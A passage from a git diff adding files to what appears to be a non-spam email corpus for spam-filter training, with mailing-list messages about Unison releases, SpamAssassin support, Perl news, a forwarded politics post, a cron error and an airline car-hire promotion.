transport subsystem, + written by Jerome Vouillon. The downloadable binaries are still + single-threaded: if you want to try the multi-threaded version, + you'll need to recompile from sources. (Say make THREADS=true.) + Native thread support from the compiler is required. Use the + option -threads N to select the maximal number of concurrent + threads (default is 5). Multi-threaded and single-threaded + clients/servers can interoperate. + * A new GTK-based user interface is now available, thanks to Jacques + Garrigue. The Tk user interface still works, but we'll be shifting + development effort to the GTK interface from now on. + * OCaml 3.00 is now required for compiling Unison from sources. The + modules uitk and myfileselect have been changed to use labltk + instead of camltk. To compile the Tk interface in Windows, you + must have ocaml-3.00 and tk8.3. When installing tk8.3, put it in + c:\Tcl rather than the suggested c:\Program Files\Tcl, and be sure + to install the headers and libraries (which are not installed by + default). + * Added a new -addversionno switch, which causes unison to use + unison- instead of just unison as the remote + server command. This allows multiple versions of unison to coexist + conveniently on the same server: whichever version is run on the + client, the same version will be selected on the server. + + Changes since 1.219: + * INCOMPATIBLE CHANGE: Archive format has changed. Make sure you + synchronize your replicas before upgrading, to avoid spurious + conflicts. The first sync after upgrading will be slow. + * This version fixes several annoying bugs, including: + + Some cases where propagation of file permissions was not + working. + + umask is now ignored when creating directories + + directories are create writable, so that a read-only + directory and its contents can be propagated. + + Handling of warnings generated by the server. + + Synchronizing a path whose parent is not a directory on both + sides is now flagged as erroneous. + + Fixed some bugs related to symnbolic links and nonexistant + roots. + o When a change (deletion or new contents) is propagated + onto a 'follow'ed symlink, the file pointed to by the + link is now changed. (We used to change the link itself, + which doesn't fit our assertion that 'follow' means the + link is completely invisible) + o When one root did not exist, propagating the other root + on top of it used to fail, becuase unison could not + calculate the working directory into which to write + changes. This should be fixed. + * A human-readable timestamp has been added to Unison's archive + files. + * The semantics of Path and Name regular expressions now correspond + better. + * Some minor improvements to the text UI (e.g. a command for going + back to previous items) + * The organization of the export directory has changed --- should be + easier to find / download things now. + + Changes since 1.200: + * INCOMPATIBLE CHANGE: Archive format has changed. Make sure you + synchronize your replicas before upgrading, to avoid spurious + conflicts. The first sync after upgrading will be slow. + * This version has not been tested extensively on Windows. + * Major internal changes designed to make unison safer to run at the + same time as the replicas are being changed by the user. + * Internal performance improvements. + + Changes since 1.190: + * INCOMPATIBLE CHANGE: Archive format has changed. Make sure you + synchronize your replicas before upgrading, to avoid spurious + conflicts. The first sync after upgrading will be slow. + * A number of internal functions have been changed to reduce the + amount of memory allocation, especially during the first + synchronization. This should help power users with very big + replicas. + * Reimplementation of low-level remote procedure call stuff, in + preparation for adding rsync-like smart file transfer in a later + release. + * Miscellaneous bug fixes. + + Changes since 1.180: + * INCOMPATIBLE CHANGE: Archive format has changed. Make sure you + synchronize your replicas before upgrading, to avoid spurious + conflicts. The first sync after upgrading will be slow. + * Fixed some small bugs in the interpretation of ignore patterns. + * Fixed some problems that were preventing the Windows version from + working correctly when click-started. + * Fixes to treatment of file permissions under Windows, which were + causing spurious reports of different permissions when + synchronizing between windows and unix systems. + * Fixed one more non-tail-recursive list processing function, which + was causing stack overflows when synchronizing very large + replicas. + + Changes since 1.169: + * The text user interface now provides commands for ignoring files. + * We found and fixed some more non-tail-recursive list processing + functions. Some power users have reported success with very large + replicas. + * INCOMPATIBLE CHANGE: Files ending in .tmp are no longer ignored + automatically. If you want to ignore such files, put an + appropriate ignore pattern in your profile. + * INCOMPATIBLE CHANGE: The syntax of ignore and follow patterns has + changed. Instead of putting a line of the form + + ignore = + in your profile (.unison/default.prf), you should put: + + ignore = Regexp + Moreover, two other styles of pattern are also recognized: + + ignore = Name + matches any path in which one component matches , while + + ignore = Path + matches exactly the path . + Standard ``globbing'' conventions can be used in and + : + + a ? matches any single character except / + + a * matches any sequence of characters not including / + + [xyz] matches any character from the set {x, y, z } + + {a,bb,ccc} matches any one of a, bb, or ccc. + See the user manual for some examples. + + Changes since 1.146: + * Some users were reporting stack overflows when synchronizing huge + directories. We found and fixed some non-tail-recursive list + processing functions, which we hope will solve the problem. Please + give it a try and let us know. + * Major additions to the documentation. + + Changes since 1.142: + * Major internal tidying and many small bugfixes. + * Major additions to the user manual. + * Unison can now be started with no arguments -- it will prompt + automatically for the name of a profile file containing the roots + to be synchronized. This makes it possible to start the graphical + UI from a desktop icon. + * Fixed a small bug where the text UI on NT was raising a 'no such + signal' exception. + + Changes since 1.139: + * The precompiled windows binary in the last release was compiled + with an old OCaml compiler, causing propagation of permissions not + to work (and perhaps leading to some other strange behaviors we've + heard reports about). This has been corrected. If you're using + precompiled binaries on Windows, please upgrade. + * Added a -debug command line flag, which controls debugging of + various modules. Say -debug XXX to enable debug tracing for module + XXX, or -debug all to turn on absolutely everything. + * Fixed a small bug where the text UI on NT was raising a 'no such + signal' exception. + + Changes since 1.111: + * INCOMPATIBLE CHANGE: The names and formats of the preference files + in the .unison directory have changed. In particular: + + the file ``prefs'' should be renamed to default.prf + + the contents of the file ``ignore'' should be merged into + default.prf. Each line of the form REGEXP in ignore should + become a line of the form ignore = REGEXP in default.prf. + * Unison now handles permission bits and symbolic links. See the + manual for details. + * You can now have different preference files in your .unison + directory. If you start unison like this + + unison profilename + (i.e. with just one ``anonymous'' command-line argument), then the + file ~/.unison/profilename.prf will be loaded instead of + default.prf. + * Some improvements to terminal handling in the text user interface + * Added a switch -killServer that terminates the remote server + process when the unison client is shutting down, even when using + sockets for communication. (By default, a remote server created + using ssh/rsh is terminated automatically, while a socket server + is left running.) + * When started in 'socket server' mode, unison prints 'server + started' on stderr when it is ready to accept connections. (This + may be useful for scripts that want to tell when a socket-mode + server has finished initalization.) + * We now make a nightly mirror of our current internal development + tree, in case anyone wants an up-to-the-minute version to hack + around with. + * Added a file CONTRIB with some suggestions for how to help us make + Unison better. + + + +To unsubscribe from this group, send an email to: +unison-announce-unsubscribe@egroups.com + + + +Your use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/ + + + diff --git a/bayes/spamham/easy_ham_2/01381.044d1085f7fec8bb04229da3d7887424 b/bayes/spamham/easy_ham_2/01381.044d1085f7fec8bb04229da3d7887424 new file mode 100644 index 0000000..c87675f --- /dev/null +++ b/bayes/spamham/easy_ham_2/01381.044d1085f7fec8bb04229da3d7887424 @@ -0,0 +1,80 @@ +From pudge@perl.org Tue Aug 20 11:00:40 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 770D643C37 + for ; Tue, 20 Aug 2002 05:59:11 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 20 Aug 2002 10:59:11 +0100 (IST) +Received: from cpu59.osdn.com (slashdot.org [64.28.67.73] (may be forged)) + by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7K20XZ20432 for + ; Tue, 20 Aug 2002 03:00:33 +0100 +Received: from [10.2.181.14] (helo=perl.org) by cpu59.osdn.com with smtp + (Exim 3.35 #1 (Debian)) id 17gyIn-0002NV-00 for ; + Mon, 19 Aug 2002 21:59:25 -0400 +Date: Tue, 20 Aug 2002 02:00:28 +0000 +From: pudge@perl.org +Subject: [use Perl] Stories for 2002-08-20 +To: yyyy-use-perl@spamassassin.taint.org +Precedence: list +X-Bulkmail: 2.051 +Message-Id: + +use Perl Daily Newsletter + +In this issue: + * Call for Perl Monger T-Shirts at YAPC::Europe + * This Week on perl5-porters (11-18 August 2002) + ++--------------------------------------------------------------------+ +| Call for Perl Monger T-Shirts at YAPC::Europe | +| posted by ziggy on Monday August 19, @08:53 (yapce) | +| http://use.perl.org/article.pl?sid=02/08/19/1254219 | ++--------------------------------------------------------------------+ + +[0]neophyte writes "If you come to YAPC::Europe 2002, and you are a +member of a Perlmonger group, and your group has its own t-shirts, then +please bring one to YAPC::Europe for the auction. Show off the creativity +of your group and give someone else the chance to have such a nice +t-shirt as yours." + +Discuss this story at: + http://use.perl.org/comments.pl?sid=02/08/19/1254219 + +Links: + 0. mailto:niederrhein-pm@web.de + + ++--------------------------------------------------------------------+ +| This Week on perl5-porters (11-18 August 2002) | +| posted by pudge on Monday August 19, @10:12 (summaries) | +| http://use.perl.org/article.pl?sid=02/08/19/1230217 | ++--------------------------------------------------------------------+ + +>>From sunny and hot and about to burst out in thunderstorms, downtown +Echt, comes this weeks perl5-porters summary, brought to you by Elizabeth +Mattijsen. + +This story continues at: + http://use.perl.org/article.pl?sid=02/08/19/1230217 + +Discuss this story at: + http://use.perl.org/comments.pl?sid=02/08/19/1230217 + + + +Copyright 1997-2002 pudge. All rights reserved. + + +====================================================================== + +You have received this message because you subscribed to it +on use Perl. To stop receiving this and other +messages from use Perl, or to add more messages +or change your preferences, please go to your user page. + + http://use.perl.org/my/messages/ + +You can log in and change your preferences from there. + diff --git a/bayes/spamham/easy_ham_2/01382.492cd22357b171e9cbbb2ed73f9d551f b/bayes/spamham/easy_ham_2/01382.492cd22357b171e9cbbb2ed73f9d551f new file mode 100644 index 0000000..2da52b5 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01382.492cd22357b171e9cbbb2ed73f9d551f @@ -0,0 +1,81 @@ +From spamassassin-talk-admin@lists.sourceforge.net Tue Aug 20 18:36:57 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id A546043C36 + for ; Tue, 20 Aug 2002 13:36:55 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 20 Aug 2002 18:36:55 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g7KHYeZ17420 for ; Tue, 20 Aug 2002 18:34:40 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17hCtI-0007IZ-00; Tue, + 20 Aug 2002 10:34:04 -0700 +Received: from alderaan.pixelhouse.de ([213.70.6.11] helo=pixelhouse.de) + by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) + id 17hCsu-0001ZB-00 for ; + Tue, 20 Aug 2002 10:33:41 -0700 +Received: (qmail 9062 invoked from network); 20 Aug 2002 17:33:29 -0000 +Received: from pd9eae28f.dip.t-dialin.net (HELO simmobile) + (217.234.226.143) by alderaan.pixelhouse.de with SMTP; 20 Aug 2002 + 17:33:29 -0000 +Message-Id: <00f301c24870$55ccfe30$b101a8c0@simmobile> +From: "Alexander Meis" +To: +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: 7bit +X-Priority: 3 +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook Express 6.00.2600.0000 +X-Mimeole: Produced By Microsoft MimeOLE V6.00.2600.0000 +Subject: [SAtalk] SpamAssassin an Razor problem +Sender: spamassassin-talk-admin@example.sourceforge.net +Errors-To: spamassassin-talk-admin@example.sourceforge.net +X-Beenthere: spamassassin-talk@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Talk about SpamAssassin +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Tue, 20 Aug 2002 19:37:34 +0200 +Date: Tue, 20 Aug 2002 19:37:34 +0200 + +Hi.... + +i installed razor an SpamAssassin on an redhat 6.3 with a fresh per 5.8.0. +when I install Mail::SpamAssassin using the CPAN the followin error in make +test appears. + +t/forged_rcvd...........ok +t/nonspam...............ok +t/razor................. Test skipped: Razor is not installed. +t/razor.................ok + 2/2 skipped: Razor is not installed. +t/reportheader..........ok + +How can i get the razor running with the SpamAssassin ? + +Thanks for helping + +Alex + + + +------------------------------------------------------- +This sf.net email is sponsored by: OSDN - Tired of that same old +cell phone? Get a new here for FREE! +https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 +_______________________________________________ +Spamassassin-talk mailing list +Spamassassin-talk@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-talk + diff --git a/bayes/spamham/easy_ham_2/01383.d00e3ef3abf47cc520aa8162bccd3a25 b/bayes/spamham/easy_ham_2/01383.d00e3ef3abf47cc520aa8162bccd3a25 new file mode 100644 index 0000000..cb0a0b5 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01383.d00e3ef3abf47cc520aa8162bccd3a25 @@ -0,0 +1,150 @@ +From fork-admin@xent.com Tue Aug 20 22:15:08 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 8087643C34 + for ; Tue, 20 Aug 2002 17:15:07 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 20 Aug 2002 22:15:07 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7KLCrZ24691 for ; + Tue, 20 Aug 2002 22:12:54 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id CE08129414E; Tue, 20 Aug 2002 14:07:18 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from pimout3-int.prodigy.net (pimout3-ext.prodigy.net + [207.115.63.102]) by xent.com (Postfix) with ESMTP id 47753294098 for + ; Mon, 15 Jul 2002 12:53:43 -0700 (PDT) +Received: from localhost (adsl-64-165-226-115.dsl.lsan03.pacbell.net + [64.165.226.115]) by pimout3-int.prodigy.net (8.11.0/8.11.0) with ESMTP id + g6FK2fP179128; Mon, 15 Jul 2002 16:02:42 -0400 +From: karee +X-Mailer: The Bat! (v1.53d) Educational +Reply-To: karee +Organization: Nonoya Business +X-Priority: 3 (Normal) +Message-Id: <664839634.20020715130224@tstonramp.com> +To: blening@tstonramp.com +Cc: jstiles@blizzard.com +Subject: Fwd: FC: Bush administration readies nationwide informant program +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Transfer-Encoding: 7bit +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Mon, 15 Jul 2002 13:02:24 -0700 + + + +Yea.. this isn't newsworthy... + + + +This is a forwarded message +From: Declan McCullagh +To: politech@politechbot.com +Date: Sunday, July 14, 2002, 8:06:38 PM +Subject: FC: Bush administration readies nationwide informant program + +===8<==============Original message text=============== +The link: +http://www.citizencorps.gov/tips.html + +--- + +Date: Sun, 14 Jul 2002 20:59:54 +0000 +From: "J.D. Abolins" +Subject: Aussie paper: US planning to recruit one in 24 Americans as citizen + spies + +Anybody ever heard of Pavlik Morozov? (If not see +http://www.cyberussr.com/rus/morozov.html for a quick blurb about the +fellow.) When I see proposals to mobilize American people into being eyes +and ears fo the government, I am reminded of Pavilik and his family. + +Now I am not against people reporting certain things to the police. It is +the habit of being constantly suspicious of neighbors, co-workers, and +otehrs that can become destructive. Down the line it can lead to suspicions +based not on significant clues but upon things such as "fails to display +sufficient respect for authority", "laughs whenever the phrase 'homeland +security' is used", and "hangs out with anti-social misfits." It is an all +too easy slide from neighbors watching out for each and helping the +community to becoming agents of the state. + +J.D. Abolins + +PS: Why is it that the most revealing news reports about the USA are coming +nowadays form the UK, Aussie, and other non-USA media? +-------------- + From the Sydney Morning Herald Web site 15 July 2002 +http://www.smh.com.au/articles/2002/07/14/1026185141232.html + +US planning to recruit one in 24 Americans as citizen spies +By Ritt Goldstein +July 15 2002 + +The Bush Administration aims to recruit millions of United States citizens +as domestic informants in a program likely to alarm civil liberties groups. + +The Terrorism Information and Prevention System, or TIPS, means the US will +have a higher percentage of citizen informants than the former East Germany +through the infamous Stasi secret police. The program would use a minimum +of 4 per cent of Americans to report "suspicious activity". + +Civil liberties groups have already warned that, with the passage earlier +this year of the Patriot Act, there is potential for abusive, large-scale +investigations of US citizens. + +As with the Patriot Act, TIPS is being pursued as part of the so-called war +against terrorism. It is a Department of Justice project. + +Highlighting the scope of the surveillance network, TIPS volunteers are +being recruited primarily from among those whose work provides access to +homes, businesses or transport systems. Letter carriers, utility employees, +truck drivers and train conductors are among those named as targeted recruits. + +A pilot program, described on the government Web site www.citizencorps.gov, +is scheduled to start next month in 10 cities, with 1 million informants +participating in the first stage. Assuming the program is initiated in the +10 largest US cities, that will be 1 million informants for a total +population of almost 24 million, or one in 24 people. + +[...] + + + + +------------------------------------------------------------------------- +POLITECH -- Declan McCullagh's politics and technology mailing list +You may redistribute this message freely if you include this notice. +To subscribe to Politech: http://www.politechbot.com/info/subscribe.html +This message is archived at http://www.politechbot.com/ +Declan McCullagh's photographs are at http://www.mccullagh.org/ +------------------------------------------------------------------------- +Like Politech? Make a donation here: http://www.politechbot.com/donate/ +------------------------------------------------------------------------- + +===8<===========End of original message text=========== + + + +-- +Best regards, + karee mailto:karee@tstonramp.com + + + + +http://xent.com/mailman/listinfo/fork + diff --git a/bayes/spamham/easy_ham_2/01384.2bd485e2079e4f481e54b9d9aa8a3195 b/bayes/spamham/easy_ham_2/01384.2bd485e2079e4f481e54b9d9aa8a3195 new file mode 100644 index 0000000..37aaf38 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01384.2bd485e2079e4f481e54b9d9aa8a3195 @@ -0,0 +1,45 @@ +From anders@hmi.de Wed Aug 21 07:54:51 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 1769843C32 + for ; Wed, 21 Aug 2002 02:54:50 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 21 Aug 2002 07:54:50 +0100 (IST) +Received: from dsmail.hmi.de (dsmail.hmi.de [134.30.15.24]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7L6spZ13479 for + ; Wed, 21 Aug 2002 07:54:52 +0100 +Received: from hmi.de (display.hmi.de [134.30.15.29]) by dsmail.hmi.de + (8.11.4/8.11.4) with ESMTP id g7L6svr06646 for ; + Wed, 21 Aug 2002 08:54:57 +0200 (MEST) +Message-Id: <3D633940.2010209@hmi.de> +Date: Wed, 21 Aug 2002 08:54:56 +0200 +From: Thomas Anders +Organization: Hahn-Meitner-Institut Berlin, Germany +User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1b) Gecko/20020722 +X-Accept-Language: de, en +MIME-Version: 1.0 +To: yyyy@spamassassin.taint.org +Subject: Re: [Bug 704] spamd doesn't remove pid file on shutdown when running as non-root user +References: <20020820232559.E7EC2A3A9C@belphegore.hughes-family.org> +Content-Type: text/plain; charset=us-ascii; format=flowed +Content-Transfer-Encoding: 7bit + +bugzilla-daemon@hughes-family.org wrote: +> http://www.hughes-family.org/bugzilla/show_bug.cgi?id=704 +> ok, this is now fixed. cheers! + +How did you fix it? By creating the pidfile as the "-u" user? +If so, you should add this to the documentation since it prevents +the use of the standard /var/run directory (which is only writable +by root). + + ++Thomas + +-- +Thomas Anders +Hahn-Meitner-Institut Berlin, Germany + + diff --git a/bayes/spamham/easy_ham_2/01385.508a461a95c7420e52a29cf2c2cac912 b/bayes/spamham/easy_ham_2/01385.508a461a95c7420e52a29cf2c2cac912 new file mode 100644 index 0000000..ffcb908 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01385.508a461a95c7420e52a29cf2c2cac912 @@ -0,0 +1,59 @@ +From burk@cns.mpg.de Wed Aug 21 10:18:28 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 5CD6543C32 + for ; Wed, 21 Aug 2002 05:18:28 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 21 Aug 2002 10:18:28 +0100 (IST) +Received: from defiant.alpha (postfix@pD952BF2A.dip.t-dialin.net + [217.82.191.42]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g7L9HhZ17520 for ; Wed, 21 Aug 2002 10:17:44 +0100 +Received: by defiant.alpha (Postfix, from userid 1000) id B2396F0030C; + Wed, 21 Aug 2002 11:17:46 +0200 (CEST) +Date: Wed, 21 Aug 2002 11:17:46 +0200 +From: Frank Burkhardt +To: yyyy@spamassassin.taint.org +Subject: spamassassin mailbox delivery problem +Message-Id: <20020821091746.GA26903@fbo.2y.net> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.4i + +Hi, + +when testing spamassassin, i found a little problem but +I don't know if it's spamassassin or my pop3-server +that caused it. + +Pop3-servers seem to expect a blank line before "From "-lines +to seperate mails in a mailbox-file. +Spamassassin does not add such a blank line before +mails delivered directly to mailbox. +Result is that the pop3-server (tested with qpopper4 and +cucipop) delivers some mails glued together. + +I think the solution is to write a blank line to the mailbox +befor spamassassin adds the filtered mail. + +Please tell me if you're not the right man for this, + if i'm totally wrong or if you're sure, the pop3-server + shouldn't insist on a blank line before "From "-lines. + +Thank you. + +PS: Mailserver ist postfix-1.1.11 + +Regards, + +-- +Frank Burkhardt phone: +49 341 9940-142 + fax : +49 341 9940-221 +Max Planck Institute +of Cognitive Neuroscience /"\ +Muldentalweg 9 \ / ASCII Ribbon Campain +04828 Bennewitz, Germany X against HTML Mail + / \ + diff --git a/bayes/spamham/easy_ham_2/01386.7019c4fe138653195097d8064c11cb80 b/bayes/spamham/easy_ham_2/01386.7019c4fe138653195097d8064c11cb80 new file mode 100644 index 0000000..de5933e --- /dev/null +++ b/bayes/spamham/easy_ham_2/01386.7019c4fe138653195097d8064c11cb80 @@ -0,0 +1,88 @@ +From spamassassin-talk-admin@lists.sourceforge.net Tue Aug 20 19:19:07 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 0FFBC43C36 + for ; Tue, 20 Aug 2002 14:19:00 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 20 Aug 2002 19:19:00 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g7KIHOZ18932 for ; Tue, 20 Aug 2002 19:17:24 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17hDXu-0001Ts-00; Tue, + 20 Aug 2002 11:16:02 -0700 +Received: from mclean.mail.mindspring.net ([207.69.200.57]) by + usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id + 17hDWv-0003Ar-00 for ; + Tue, 20 Aug 2002 11:15:01 -0700 +Received: from user-11fad62.dsl.mindspring.com ([66.245.52.194] + helo=belphegore.hughes-family.org) by mclean.mail.mindspring.net with + esmtp (Exim 3.33 #1) id 17hDWp-00068O-00; Tue, 20 Aug 2002 14:14:55 -0400 +Received: from balam.hughes-family.org + (adsl-67-118-234-50.dsl.pltn13.pacbell.net [67.118.234.50]) by + belphegore.hughes-family.org (Postfix) with ESMTP id 2CE0496F01; + Tue, 20 Aug 2002 11:14:52 -0700 (PDT) +Subject: Re: [SAtalk] results for giant mass-check (phew) +Content-Type: text/plain; charset=US-ASCII; format=flowed +MIME-Version: 1.0 (Apple Message framework v482) +Cc: "Malte S. Stretz" , + SpamAssassin Talk ML +To: yyyy@spamassassin.taint.org (Justin Mason) +From: "Craig R.Hughes" +In-Reply-To: <20020820142327.ECE3143C32@phobos.labs.netnoteinc.com> +Message-Id: +Content-Transfer-Encoding: 7bit +X-Mailer: Apple Mail (2.482) +Sender: spamassassin-talk-admin@example.sourceforge.net +Errors-To: spamassassin-talk-admin@example.sourceforge.net +X-Beenthere: spamassassin-talk@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Talk about SpamAssassin +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Tue, 20 Aug 2002 11:14:50 -0700 +Date: Tue, 20 Aug 2002 11:14:50 -0700 + + +On Tuesday, August 20, 2002, at 07:23 AM, Justin Mason wrote: + +>> The compensate rule USER_AGENT should go or at least score +>> very low; with +>> it, a spammer just has to include a header like +> +> BTW, the scores are irrelevant right now (unless the test is +> going to have +> a non-GA'd score). The GA should reduce "easy" ones, and if it +> doesn't, +> after the GA run is the time to comment. Don't pay any +> attention to them! +> ;) + +Remember that the GA is going to be considering combinatorial +uses of the rules, so rules which look dodgy on their own might +be gems for the GA -- perhaps something with a S/O ratio of .5 +actually occurs often in combination with some other rule, and +in those situations, helps to distinguish spam vs nonspam. + +C + + + +------------------------------------------------------- +This sf.net email is sponsored by: OSDN - Tired of that same old +cell phone? Get a new here for FREE! +https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 +_______________________________________________ +Spamassassin-talk mailing list +Spamassassin-talk@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-talk + diff --git a/bayes/spamham/easy_ham_2/01387.440c2de262b8b3040d75a66e0af81bfd b/bayes/spamham/easy_ham_2/01387.440c2de262b8b3040d75a66e0af81bfd new file mode 100644 index 0000000..96e1b9c --- /dev/null +++ b/bayes/spamham/easy_ham_2/01387.440c2de262b8b3040d75a66e0af81bfd @@ -0,0 +1,31 @@ +From root@jmason.org Fri Aug 23 11:05:05 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id DD35844168 + for ; Fri, 23 Aug 2002 06:03:58 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 23 Aug 2002 11:03:58 +0100 (IST) +Received: from relay06.indigo.ie (relay06.indigo.ie [194.125.133.230]) by + dogma.slashnull.org (8.11.6/8.11.6) with SMTP id g7MKecZ23708 for + ; Thu, 22 Aug 2002 21:40:38 +0100 +Received: (qmail 75520 messnum 1047120 invoked from + network[194.125.172.55/ts12-055.dublin.indigo.ie]); 22 Aug 2002 20:40:45 + -0000 +Received: from ts12-055.dublin.indigo.ie (HELO jalapeno.spamassassin.taint.org) + (194.125.172.55) by relay06.indigo.ie (qp 75520) with SMTP; 22 Aug 2002 + 20:40:45 -0000 +Received: by jalapeno.spamassassin.taint.org (Postfix, from userid 0) id 033F716F16; + Thu, 22 Aug 2002 22:16:04 +0100 (IST) +From: root@spamassassin.taint.org (Anacron) +To: root@spamassassin.taint.org +Subject: Anacron job 'cron.daily' +Message-Id: <20020822211604.033F716F16@jalapeno.spamassassin.taint.org> +Date: Thu, 22 Aug 2002 22:16:04 +0100 (IST) + +/etc/cron.daily/tripwire-check: + +**** Error: Tripwire database for jalapeno not found. **** +**** Run /etc/tripwire/twinstall.sh and/or tripwire --init. **** + diff --git a/bayes/spamham/easy_ham_2/01388.8bdd1ecbba6a6739b067fe88cd0fa281 b/bayes/spamham/easy_ham_2/01388.8bdd1ecbba6a6739b067fe88cd0fa281 new file mode 100644 index 0000000..bd3ac13 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01388.8bdd1ecbba6a6739b067fe88cd0fa281 @@ -0,0 +1,199 @@ +From webster@ryanairmail.com Mon Aug 26 15:16:28 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 6275744164 + for ; Mon, 26 Aug 2002 10:14:54 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 26 Aug 2002 15:14:54 +0100 (IST) +Received: from mail.ryanair2.ie ([193.120.152.8]) by dogma.slashnull.org + (8.11.6/8.11.6) with SMTP id g7NJacZ05495 for ; + Fri, 23 Aug 2002 20:36:38 +0100 +From: webster@ryanairmail.com +To: "Customers" +Subject: Hertz Europe- 3 Day Weekend September Deals +Date: Fri, 23 Aug 2002 14:33:29 +0100 +X-Assembled-BY: XWall v3.21 +Message-Id: +MIME-Version: 1.0 +Content-Type: multipart/mixed; + boundary="_NextPart_1_LTDtbEBFLbCEudrAQjXgSgCyoKl" +List-Unsubscribe: +Reply-To: webster@ryanairmail.com + +This is a multi part message in MIME format. + +--_NextPart_1_LTDtbEBFLbCEudrAQjXgSgCyoKl +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + +Autumn Weekend Break Bonanza - Special 3 Day Weekend Deals=20 +Available to Ryanair passengers travelling during September*=20 + +Our Car Hire partners, Hertz, have great rates for 3 day weekend=20 +rentals across Europe, during September. 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b/bayes/spamham/easy_ham_2/01389.e4cfb234aace4e12b2d9453686c911c9 @@ -0,0 +1,335 @@ +From danny@spesh.com Mon Aug 26 15:16:41 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by 